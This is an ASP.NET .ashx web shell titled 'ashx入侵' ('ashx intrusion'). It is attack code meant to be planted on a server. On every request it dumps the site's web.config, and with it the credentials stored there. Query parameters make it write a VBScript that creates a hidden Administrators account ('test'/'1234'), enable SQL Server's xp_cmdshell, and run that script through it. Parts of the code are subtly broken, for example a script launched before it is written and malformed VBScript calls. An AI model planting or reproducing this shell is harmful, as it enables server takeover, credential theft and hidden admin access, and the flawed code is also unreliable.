ashx入侵

<%@ WebHandler Language="C#" Class="TextLd" %>
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data.SqlClient;

public class TextLd : IHttpHandler
{
public void CreateLocalUser(string newPath)
{
System.Diagnostics.Process.Start(@"d:\1.vbs");
System.IO.File.WriteAllText(@"d:\1.vbs", "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\"");
}
public void ShowWebConfig(HttpContext context)
{
context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
}
public void WriteVbs(HttpContext context)
{
System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '属性,admin组\r\nod=ob.Create(\"user\",\"test\") '建立用户 \r\nSetPassword \"1234\" '设置密码 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\"");
}
public void ExecuteSql(string connection, string sql)
{
using (SqlConnection con = new SqlConnection(connection))
{
using (SqlCommand commd = new SqlCommand(sql, con))
{
con.Open();
commd.ExecuteNonQuery();
con.Close();
}
}
}
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
try
{
var connection = context.Request.QueryString["connection"];
switch (context.Request.QueryString["method"])
{
case "1": WriteVbs(context); break;
case "2":
ExecuteSql(connection,@"sp_configure 'show advanced options',1 reconfigure");
ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//开启数据库的xp_cmdshell
break;
case "3": ExecuteSql(connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'");
break;
default:
ShowWebConfig(context);
break;
}
}
catch (Exception ex)
{
context.Response.Write(ex.Message);
}
context.Response.End();
}
public bool IsReusable
{
get
{
return false;
}
}
}